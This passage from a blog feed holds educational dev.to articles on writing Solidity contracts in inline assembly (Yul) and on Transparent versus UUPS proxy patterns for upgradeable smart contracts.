    return(0x80, 32) // v is 32 bytes (uint256)
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it we converted &lt;code&gt;retrieve()&lt;/code&gt; body to assembly!&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: If you're curious as to why I specifically chose &lt;strong&gt;0x80&lt;/strong&gt; position in memory to store to store the value, it's because Solidity reserves four 32 byte slots (i.e. 0x00 to 0x7f) for special purposes. So free memory starts from 0x80 initially. While it's ok to just put 0x80 to store new variable in our very simple case, any more complex operation requires you to keep track of pointer to free memory and manage it. Read more in the &lt;a href="https://docs.soliditylang.org/en/v0.8.13/internals/layout_in_memory.html"&gt;docs&lt;/a&gt;.&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function retrieve() public view returns(uint256) {
    assembly {
        // load value at slot 0 of storage
        let v := sload(0) 

        // store into memory at 0x80
        mstore(0x80, v)

        // return value at 0 memory address of size 32 bytes
        return(0x80, 32) 
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The  &lt;code&gt;store()&lt;/code&gt; function body can be written on the similar lines. I encourage you to reference the opcodes and try to write it on your own before moving further!&lt;/p&gt;

&lt;p&gt;Alright, here is the &lt;code&gt;store()&lt;/code&gt; function body in assembly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function store(uint256 newValue) public {
    assembly {
        // store value at slot 0 of storage
        sstore(0, newValue)

        // emit event
        mstore(0x80, newValue)
        log1(0x80, 0x20,0xac3e966f295f2d5312f973dc6d42f30a6dc1c1f76ab8ee91cc8ca5dad1fa60fd)
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This time we used &lt;a href="https://www.evm.codes/#55"&gt;&lt;code&gt;sstore&lt;/code&gt;&lt;/a&gt; opcode to store new value - the &lt;code&gt;newValue&lt;/code&gt; param, at the same storage slot (slot 0) where our &lt;code&gt;_value&lt;/code&gt; state variable is stored. Hence overwriting the old value with new value.&lt;/p&gt;

&lt;p&gt;To emit the event (&lt;code&gt;NewValue&lt;/code&gt;) with new value data, we used &lt;a href="https://www.evm.codes/#a1"&gt;&lt;code&gt;log1&lt;/code&gt;&lt;/a&gt; opcode. First two parameters to it are &lt;code&gt;offset&lt;/code&gt; in memory and &lt;code&gt;size&lt;/code&gt; of the data like other opcodes. &lt;/p&gt;

&lt;p&gt;So, we first moved &lt;code&gt;newValue&lt;/code&gt; to memory at &lt;code&gt;0x80&lt;/code&gt; position with &lt;code&gt;mstore&lt;/code&gt;. Then, passed &lt;code&gt;0x80&lt;/code&gt; as &lt;code&gt;offset&lt;/code&gt; and &lt;code&gt;0x20&lt;/code&gt; (32 in decimal) as &lt;code&gt;size&lt;/code&gt; to &lt;code&gt;log1&lt;/code&gt; opcode. Now, you might be wondering what is that third argument we passed in to &lt;code&gt;log1&lt;/code&gt;. It is &lt;code&gt;topic&lt;/code&gt; - sort of a label for event, like the name - &lt;code&gt;NewValue&lt;/code&gt;. The passed in argument is nothing but the hash of the event signature:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bytes32(keccak256("NewValue(uint256)"))

// 0xac3e966f295f2d5312f973dc6d42f30a6dc1c1f76ab8ee91cc8ca5dad1fa60fd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, our &lt;code&gt;Box&lt;/code&gt; contract looks like this now:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pragma solidity ^0.8.7;

contract Box {
    uint256 public value;

    function retrieve() public view returns(uint256) {
        assembly {
            // load value at slot 0 of storage
            let v := sload(0) 

            // store into memory at 0
            mstore(0x80, v)

            // return value at 0 memory address of size 32 bytes
            return(0x80, 32) 
        }
    }

    function store(uint256 newValue) public {
        assembly {
            // store value at slot 0 of storage
            sstore(0, newValue)

            // emit event
            mstore(0x80, newValue)
            log1(0x80, 0x20, 0xac3e966f295f2d5312f973dc6d42f30a6dc1c1f76ab8ee91cc8ca5dad1fa60fd)
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the next, part we'll be writing the &lt;code&gt;Box&lt;/code&gt; in pure assembly. Buckle up! 😎&lt;/p&gt;

&lt;h2&gt;
  
  
  Resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.evm.codes/"&gt;evm.codes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.soliditylang.org/en/v0.8.13/assembly.html"&gt;Inline Assembly&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.soliditylang.org/en/v0.8.13/yul.html#yul"&gt;Yul&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="[docs](https://docs.soliditylang.org/en/v0.8.13/yul.html#evm-dialect)"&gt;EVM dialect&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.soliditylang.org/en/v0.8.13/internals/layout_in_memory.html"&gt;Layout in Memory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy-d6b?s=r"&gt;A trip down Memory Lane&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Find me on Twitter &lt;a href="https://twitter.com/the_nvn"&gt;@the_nvn&lt;/a&gt;&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>smartcontract</category>
      <category>ethereum</category>
    </item>
    <item>
      <title>A Practical Introduction To Solidity Assembly: Part 0</title>
      <dc:creator>Naveen ⚡</dc:creator>
      <pubDate>Wed, 27 Apr 2022 20:22:19 +0000</pubDate>
      <link>https://dev.to/nvnx/a-practical-introduction-to-solidity-assembly-part-0-58d5</link>
      <guid>https://dev.to/nvnx/a-practical-introduction-to-solidity-assembly-part-0-58d5</guid>
      <description>&lt;p&gt;Solidity is by far the most used language for smart contracts on Ethereum blockchain. It is a high-level language that abstracts away various underlying nitty-gritty details (like several important safety checks) - and that is for good! &lt;/p&gt;

&lt;p&gt;However, sometimes however you may want to go deep down to fine-grain controls of EVM whether it is for gas golfing, writing optimized libraries, or maybe some other witch-craft, who knows. Luckily, you can actually write part of your contract (or whole contract!) assembly language.&lt;/p&gt;

&lt;p&gt;The language used for assembly here is called &lt;a href="https://docs.soliditylang.org/en/v0.8.13/yul.html#yul"&gt;Yul&lt;/a&gt; which is your portal to access EVM's fine-grain controls. Be warned - &lt;strong&gt;writing assembly bypasses many important checks of Solidity. You should only use it when needed and if you know what the heck is going on!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before you proceed, I assume you know basics of Ethereum and Solidity language, already. Alright let's go!&lt;/p&gt;

&lt;h2&gt;
  
  
  What to Expect
&lt;/h2&gt;

&lt;p&gt;We're going to take at the classic &lt;code&gt;Box&lt;/code&gt; contract below and progressively convert this contract to pure assembly. Apart from learning about Solidity assembly, you'll also learn how opcodes work, what goes under the hood when you deploy a contract or make an external function call and different locations where data is stored and when.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prelude
&lt;/h2&gt;

&lt;p&gt;In this part we are going to briefly focus on how Solidity handles and store variables in different places during execution. This will be key to understanding how Solidity assembly works. We are going to have intro to 4 data locations: &lt;strong&gt;storage&lt;/strong&gt;, &lt;strong&gt;memory&lt;/strong&gt;, &lt;strong&gt;call stack&lt;/strong&gt;, and &lt;strong&gt;calldata&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Storage
&lt;/h3&gt;

&lt;p&gt;Storage is where state variables are stored and persisted &lt;strong&gt;permanently&lt;/strong&gt;. Structure of this storage can be visualized as simple key-value pairs. Both key and value are 32 bytes long. And since keys are 32 bytes or 256 bits long, there can be at most 2^256 different key-value pairs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Slot# (key)      Value
-----------------------
0      -----&amp;gt;     123
1      -----&amp;gt;     456
      .
      .

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The key here can also be considered as slot number - which ranges from 0 to 2^256 - 1. Hence, knowing the slot number, you can read data stored in that slot. This is sufficient basic overview of storage structure for our scope - but feel free to geek out on this &lt;a href="https://programtheblockchain.com/posts/2018/03/09/understanding-ethereum-smart-contract-storage/"&gt;Program The Blockchain&lt;/a&gt; post to dive into more details.&lt;/p&gt;

&lt;h3&gt;
  
  
  Memory
&lt;/h3&gt;

&lt;p&gt;Memory is where &lt;strong&gt;temporary&lt;/strong&gt; variables are stored during a function execution in Solidity code. Memory is usually used to store complex types such as arrays. You must've encountered &lt;code&gt;memory&lt;/code&gt; keyword in Solidity code when defining an array, like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function f() public {
    uint256[] memory arr = new uint256[](10);
    // ..
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Memory can be visualized as a byte array where data can be written in 32 byte or 1 byte chunks and read in 32 byte chunks.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-----------------------------
 1B |   32B   |   32B  |  ..
-----------------------------
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Call Stack
&lt;/h3&gt;

&lt;p&gt;Like memory call stack is also a volatile place for storing some data. While writing solidity you can manipulate Storage and Memory, the call stack is automatically utilized behind the scenes. It cannot be accessed using plain solidity code, but through assembly. Call stack is used to store values that are used immediately and don't need to be stored for later use.&lt;/p&gt;

&lt;p&gt;So, how it differs from memory? The Solidity code is actually compiled to a list opcodes. You can consider these opcodes like low-level functions which can take inputs and give output. The way these opcodes receive argument/inputs (if any) is by popping off the same number of values from the call stack as the number of parameters it accepts. And, if it outputs anything it pushes the returned value to call stack.&lt;/p&gt;

&lt;p&gt;For example - when you write to a state variable, the &lt;code&gt;SSTORE&lt;/code&gt; opcode is executed. Now, &lt;code&gt;SSTORE&lt;/code&gt; requires two inputs - the slot number to write to and the value to write. So, what &lt;code&gt;SSTORE&lt;/code&gt; does is it pops off two values from the call stack and uses them as inputs. &lt;code&gt;PUSH1&lt;/code&gt; opcode can be used to push these inputs to stack first.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;opcode      |   call stack
-----------------------------
PUSH1 0x05  |   0x5
            |
-----------------------------
PUSH1 0x00  |   0
            |   0x5
-----------------------------
SSTORE      |    -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above example shows the state of call stack after corresponding opcode is executed. &lt;code&gt;SSTORE&lt;/code&gt; store value &lt;code&gt;0x05&lt;/code&gt; (5 in decimal) to slot &lt;code&gt;0x00&lt;/code&gt; (0 in decimal) of Storage - by popping off two values from the call stack and using them as inputs.&lt;/p&gt;

&lt;p&gt;This is why EVM is sometimes referred to as a stack machine!&lt;/p&gt;

&lt;p&gt;You may ask why not use memory itself instead of call stack? Well, because using stack is more efficient and cheaper than memory for primitive/simple types. EVM is not the first to do this actually - many fast statically-typed languages like Rust also use stack.&lt;/p&gt;

&lt;h3&gt;
  
  
  Calldata
&lt;/h3&gt;

&lt;p&gt;Calldata is similar to memory but is a special data location where function arguments are stored, only available to external function calls. According to docs:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Calldata is a non-modifiable, non-persistent area where function arguments are stored, and behaves mostly like memory&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The calldata may look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0x6057361d000000000000000000000000000000000000000000000000000000000000000a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;where first 4 bytes (&lt;code&gt;6057361d&lt;/code&gt;) are the function selector (identifier for target function) and rest are the input parameters (padded) passed to function.&lt;/p&gt;

&lt;p&gt;The way EVM decides which function to execute seeing the received calldata is by matching the function selector from bytecode with pre-calculated function selectors of all the functions defined in the contract. We'll later implement this manually when writing a pure assembly contract.&lt;/p&gt;

&lt;p&gt;So, you can consider an external function call is nothing but a long hex data (calldata) sent to a particular contract address.&lt;/p&gt;

&lt;h2&gt;
  
  
  Solidity Contract
&lt;/h2&gt;

&lt;p&gt;Okay, we have all the required basic knowledge to better understand Solidity assembly (Yul) now. Let's pick the classic &lt;code&gt;Box&lt;/code&gt; contract for our example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pragma solidity ^0.8.7;

contract Box {
    uint256 private _value;

    event NewValue(uint256 newValue);

    function store(uint256 newValue) public {
        _value = newValue;
        emit NewValue(newValue);
    }

    function retrieve() public view returns (uint256) {
        return _value;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;Box&lt;/code&gt; is a simple contract that with one state variable &lt;code&gt;_value&lt;/code&gt; which according to &lt;a href="https://docs.soliditylang.org/en/v0.8.13/internals/layout_in_storage.html"&gt;State Variable Layout Rules&lt;/a&gt; is stored in slot 0 of Storage. Moreover, it has two functions to get/set that value. Nothing complicated here.&lt;/p&gt;

&lt;p&gt;For the next part, we'll be writing the following simple &lt;code&gt;Box&lt;/code&gt; contract partially in assembly i.e. using inline assembly. Stay tuned 😉.&lt;/p&gt;

&lt;h2&gt;
  
  
  Resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.soliditylang.org/en/v0.8.13/internals/layout_in_storage.html"&gt;Layout of State Variables in Storage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://programtheblockchain.com/posts/2018/03/09/understanding-ethereum-smart-contract-storage/"&gt;Understanding Ethereum Smart Contract Storage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.soliditylang.org/en/v0.8.13/internals/layout_in_memory.html"&gt;Layout in Memory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.soliditylang.org/en/v0.8.13/internals/layout_in_calldata.html"&gt;Layout of Call Data&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy?s=r"&gt;Function Selector Deep Dive&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Find me on Twitter(&lt;a href="https://twitter.com/the_nvn"&gt;https://twitter.com/the_nvn&lt;/a&gt;).&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>ethereum</category>
      <category>blockchain</category>
    </item>
    <item>
      <title>Proxy Patterns For Upgradeability Of Solidity Contracts: Transparent vs UUPS Proxies</title>
      <dc:creator>Naveen ⚡</dc:creator>
      <pubDate>Tue, 22 Mar 2022 19:19:49 +0000</pubDate>
      <link>https://dev.to/nvnx/proxy-patterns-for-upgradeability-of-solidity-contracts-transparent-vs-uups-proxies-3ig2</link>
      <guid>https://dev.to/nvnx/proxy-patterns-for-upgradeability-of-solidity-contracts-transparent-vs-uups-proxies-3ig2</guid>
      <description>&lt;p&gt;Before you move further I assume you already of some Solidity experience and know how storage slots work in any contract.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Proxies anyway?
&lt;/h2&gt;

&lt;p&gt;If you have following blockchain and smart-contracts stuff you must've come across the word - "immutable". Well, the smart-contracts are immutable. Yes, you cannot tweak any functionality of the contract at that address. You can only interact with it. That's it and it is for the better of it! Otherwise, it wouldn't be so "trustable" if say one day someone in control suddenly dictates the rules in contract in their favor! This is a stark difference from traditional systems where fixes are pushed everyday.&lt;/p&gt;

&lt;h2&gt;
  
  
  What could be done?
&lt;/h2&gt;

&lt;p&gt;The drum rolls...proxies! Much has been &lt;a href="https://blog.openzeppelin.com/proxy-patterns/"&gt;researched&lt;/a&gt; which led the proxy pattern is the current de-facto for upgrading smart contracts. &lt;/p&gt;

&lt;p&gt;&lt;em&gt;But wait didn't you just say that contracts are immutable and cannot be changed!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Of course! And that immutability part still holds true. But proxies work around it.&lt;br&gt;
Despite the much benefits of immutable nature of blockchains pushing bug-fixes and patches in multiple releases cannot be ignored and are much needed for patching bugs and security loopholes. The proxy pattern solves this. Let's see how.&lt;/p&gt;
&lt;h2&gt;
  
  
  How Proxies Work
&lt;/h2&gt;

&lt;p&gt;The fundamental idea here is having a Proxy contract. A bit of contextual terminology here before moving on:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Proxy contract&lt;/strong&gt; - A contract that acts as a proxy, delegating all calls to the contract it is the proxy for. In this context, it will also be referred as &lt;strong&gt;Storage Layer&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Implementation contract&lt;/strong&gt; - The contract that you want to upgrade or patch. This is the contract that Proxy contract will be acting as a proxy for. In this context, it is also the &lt;strong&gt;Logic Layer&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The Proxy contract stores the address the implementation contract or logic layer, as a state variable. Unlike normal contracts, the user doesn't actually send calls directly to the logic layer - which is your original contract. Instead, all calls go through the proxy and this proxy delegates the calls to this logic layer - the implementation contract at the address that proxy has stored, returning any data it received from logic layer to the caller or reverting for errors.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                         delegatecall
User ----------&amp;gt;  Proxy  -----------&amp;gt; Implementation
             (storage layer)          (logic layer)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The key thing to note here is that the proxy calls the logic contract through &lt;a href="https://eip2535diamonds.substack.com/p/understanding-delegatecall-and-how?s=r"&gt;&lt;code&gt;delegatecall&lt;/code&gt;&lt;/a&gt; function. Therefore, it is the proxy contract which actually stores state variables i.e. it is the storage layer.  It is like you only borrow the logic from implementation contract (logic layer!) and execute it in proxy's context affecting proxy's state variables in storage.&lt;/p&gt;

&lt;p&gt;As an example consider a simple &lt;code&gt;Box&lt;/code&gt; (implementation) contract, along with a &lt;code&gt;BoxProxy&lt;/code&gt; (proxy) contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Box {
    uint256 private _value;

    function store(uint256 value) public {
        _value = value;
    }

    function retrieve() public view returns (uint256) {
        return _value;
    }
}

contract BoxProxy {

     function _delegate(address implementation) internal virtual {
         // delegating logic call to boxImpl...
     }

     function getImplementationAddress() public view returns (address) {
         // Returns the address of the implementation contract
     }

     fallback() external {
         _delegate(getImplementationAddress());
     }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Although &lt;code&gt;Box&lt;/code&gt; has defined a &lt;code&gt;uint256&lt;/code&gt; state variable &lt;code&gt;_value&lt;/code&gt;, it is the &lt;code&gt;BoxProxy&lt;/code&gt; contract that actually stores the value associated with &lt;code&gt;_value&lt;/code&gt; (in slot 0, acc. to &lt;a href="https://docs.soliditylang.org/en/latest/internals/layout_in_storage.html"&gt;storage layout rules&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://docs.openzeppelin.com/upgrades-plugins/1.x/proxies#proxy-forwarding"&gt;delegation code&lt;/a&gt; is usually put it a &lt;a href="https://solidity.readthedocs.io/en/v0.6.12/contracts.html#fallback-function"&gt;&lt;code&gt;fallback&lt;/code&gt;&lt;/a&gt; function of the Proxy.&lt;/p&gt;

&lt;p&gt;The upgrading mechanism is nothing but authorized changing of the implementation contract address stored in proxy contract to point to a whole, newly deployed, upgraded implementation contract. And voila upgrade is complete! Proxy now delegates calls to this new contract. Although that older contract would stick around forever.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;      upgrade call
Admin -----------&amp;gt; Proxy --x--&amp;gt; Implementation_v1
                     |
                      --------&amp;gt; Implementation_v2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Easy right? But there are a few gotchas like potential &lt;a href="https://mixbytes.io/blog/collisions-solidity-storage-layouts"&gt;storage collision&lt;/a&gt; between proxy and implementation contract, arising from &lt;code&gt;delegatecall&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Storage collision between Proxy and Implementation contracts
&lt;/h3&gt;

&lt;p&gt;One cannot just go around and simply declare &lt;code&gt;address implementation&lt;/code&gt; in Proxy contract because that would cause storage collision with the storage of implementation which may have multiple variables in it at overlapping storage slots!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;|Proxy                   |Implementation |
|------------------------|---------------|
|address implementation  |address var1   | &amp;lt;- collision!
|                        |mapping var2   |
|                        |uint256 var3   |
|                        |...            |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any write to &lt;code&gt;var1&lt;/code&gt; in implementation would actually write to &lt;code&gt;implementation&lt;/code&gt; in &lt;code&gt;Proxy&lt;/code&gt; (storage layer!).&lt;/p&gt;

&lt;p&gt;Solution is to choose a pseudo-random slot and write the &lt;code&gt;implementation&lt;/code&gt; address into that slot. That slot position should be sufficiently random so that having a variable in implementation contract at same slot is negligible.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;|Proxy                   |Implementation |
|------------------------|---------------|
|    ..                  |address var1   |
|    ..                  |mapping var2   |
|    ..                  |uint256 var3   |
|    ..                  |    ..         |
|    ..                  |    ..         |
|address implementation  |    ..         | &amp;lt;- random slot
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;According to &lt;a href="https://eips.ethereum.org/EIPS/eip-1967"&gt;EIP-1967&lt;/a&gt; one such slot could be calculated as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bytes32 private constant implementationPosition = bytes32(uint256(
  keccak256('eip1967.proxy.implementation')) - 1
));
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every time implementation address needs to be accessed/modified this slot is read/written.&lt;/p&gt;

&lt;h3&gt;
  
  
  Storage collision between different Implementation version contracts
&lt;/h3&gt;

&lt;p&gt;Remember that Proxy is the storage layer. And because of this, when upgrading to a new implementation, if a new state variable is added to implementation contract, it MUST be appended in storage layout. The new contract &lt;strong&gt;MUST extend the storage layout and NOT modify it&lt;/strong&gt;. Otherwise, collisions may occur.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wrong!&lt;/strong&gt; ❌&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;|ImplementationV1 |ImplementationV2|
|-----------------|----------------|
|address foo      |address baz     | &amp;lt;- collision!
|mapping bar      |address foo     | 
|                 |mapping bar     |
|                 |...             |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Right!&lt;/strong&gt; ✅&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;|ImplementationV1 |ImplementationV2|
|-----------------|----------------|
|address foo      |address foo     | 
|mapping bar      |mapping bar     | 
|                 |address baz     | &amp;lt;- extended
|                 |...             |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Initializing constructor code
&lt;/h3&gt;

&lt;p&gt;Again, since the proxy is the storage layer, any initialization logic should run inside the proxy - like setting some initial values to state variables. But, you can't proxy call the constructor of the implementation contract. Because the constructor code is run only once - during deployment and it is not part of runtime bytecode. So, there is no way for proxy to directly access constructor bytecode and execute it in its context. &lt;/p&gt;

&lt;p&gt;The solution to this (as per &lt;a href="https://docs.openzeppelin.com/upgrades-plugins/1.x/proxies#the-constructor-caveat"&gt;OpenZeppelin&lt;/a&gt; contracts) is to move the constructor code to a &lt;code&gt;initializer&lt;/code&gt; function in implementation contract. This is just like a normal function but MUST be ensured that it is called only once.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract MyContract is Initializable {
    // `initializer` modifier makes sure it runs only once
    function initialize(
        address arg1,
        uint256 arg2,
        bytes memory arg3
    ) public payable initializer {
        // "constructor" code...
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Function clashes between Proxy and Implementation
&lt;/h3&gt;

&lt;p&gt;Since Proxy contract does exist, it is going to need functions of its own. Like a &lt;code&gt;upgradeTo(address impl)&lt;/code&gt; function, for example. But, then it should decide whether to proxy/delegate the call to implementation or not. What if the implementation contract has a function with the same name i.e. &lt;code&gt;upgradeTo(address someAddr)&lt;/code&gt;?&lt;/p&gt;

&lt;p&gt;There must be a mechanism to determine whether to delegate the call to implementation or not. One such way (&lt;a href="https://docs.openzeppelin.com/upgrades-plugins/1.x/proxies#transparent-proxies-and-function-clashes"&gt;OpenZeppelin&lt;/a&gt; way) is by having an admin or owner address of the Proxy contract. Now, if the admin (i.e. &lt;code&gt;msg.sender&lt;/code&gt; == &lt;code&gt;admin&lt;/code&gt;) is making the calls to Proxy, it will not delegate the call but instead execute the function in Proxy itself, if it exists or reverts. For any other address it simply delegates the call to implementation. Thus only an admin address can call &lt;code&gt;upgradeTo(address impl)&lt;/code&gt; of the Proxy to upgrade to new version of implementation contract.&lt;/p&gt;

&lt;p&gt;Considering example of an Ownable ERC20 and and Ownable Proxy contract (&lt;code&gt;owner&lt;/code&gt; is admin), this is how calls will go.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  msg.sender -&amp;gt; | proxy `owner`       | others
----------------|------------------------------------
`owner()`       | proxy.owner()       | erc20.owner()
`upgradeTo(..)` | proxy.upgradeTo(..) | reverts
`transfer(..)`  | reverts             | erc20.transfer(..)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All the calls in "other" column were delegated to implementation contract.&lt;/p&gt;

&lt;h2&gt;
  
  
  Transparent vs UUPS Proxies
&lt;/h2&gt;

&lt;p&gt;Transparent and UUPS are just different patterns of implementing the proxy pattern to support upgrading mechanism for implementation contracts. There is actually not a very big difference between these two different patterns, in the sense that these share the same interface for upgrades and delegation to implementation contract. &lt;/p&gt;

&lt;p&gt;The difference lies in where actually the upgrade logic resides - Proxy or the Implementation contract.&lt;/p&gt;

&lt;h3&gt;
  
  
  Transparent Proxy
&lt;/h3&gt;

&lt;p&gt;In the Transparent Proxy pattern, the upgrade logic resides in the Proxy contract - meaning upgrade is handled by Proxy. A function like &lt;code&gt;upgradeTo(address newImpl)&lt;/code&gt; must be called to upgrade to a new implementation contract. However, since this logic resides at Proxy, it is expensive to deploy these kind of proxies.&lt;/p&gt;

&lt;p&gt;Transparent proxies also require that admin mechanisms to determine whether to delegate the call to implementation or execute a Proxy contract's function. Taking on the &lt;code&gt;Box&lt;/code&gt; example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Box {
    uint256 private _value;

    function store(uint256 value) public { /*..*/ }

    function retrieve() public view returns (uint256) { /*..*/ }
}

contract BoxProxy {

     function _delegate(address implementation) internal virtual { /*..*/ }

     function getImplementationAddress() public view returns (address) { /*..*/ }

     fallback() external { /*..*/ }

     // Upgrade logic in Proxy contract
     upgradeTo(address newImpl) external {
         // Changes stored address of implementation of contract
         // at its slot in storage
     }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  UUPS Proxy
&lt;/h3&gt;

&lt;p&gt;The UUPS pattern was first documented in &lt;a href="https://eips.ethereum.org/EIPS/eip-1822"&gt;EIP1822&lt;/a&gt;. Unlike Transparent pattern, in UUPS the upgrade logic is handled by the implementation contract itself. It is the role of implementation to include method for upgrade logic, along with usual business logic. You can make the any implementation contract UUPS compliant by making it inherit a common standard interface that requires one to include the upgrade logic, like inheriting OpenZeppelin's &lt;a href="https://docs.openzeppelin.com/contracts/4.x/api/proxy#UUPSUpgradeable1"&gt;UUPSUpgradeable&lt;/a&gt; interface.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Box is UUPSUpgradeable {
    uint256 private _value;

    function store(uint256 value) public { /*..*/ }

    function retrieve() public view returns (uint256) { /*..*/ }

     // Upgrade logic in Implementation contract
     upgradeTo(address newImpl) external {
         // Changes stored address of implementation of contract
         // at its slot in storage
     }
}

contract BoxProxy {

     function _delegate(address implementation) internal virtual { /*..*/ }

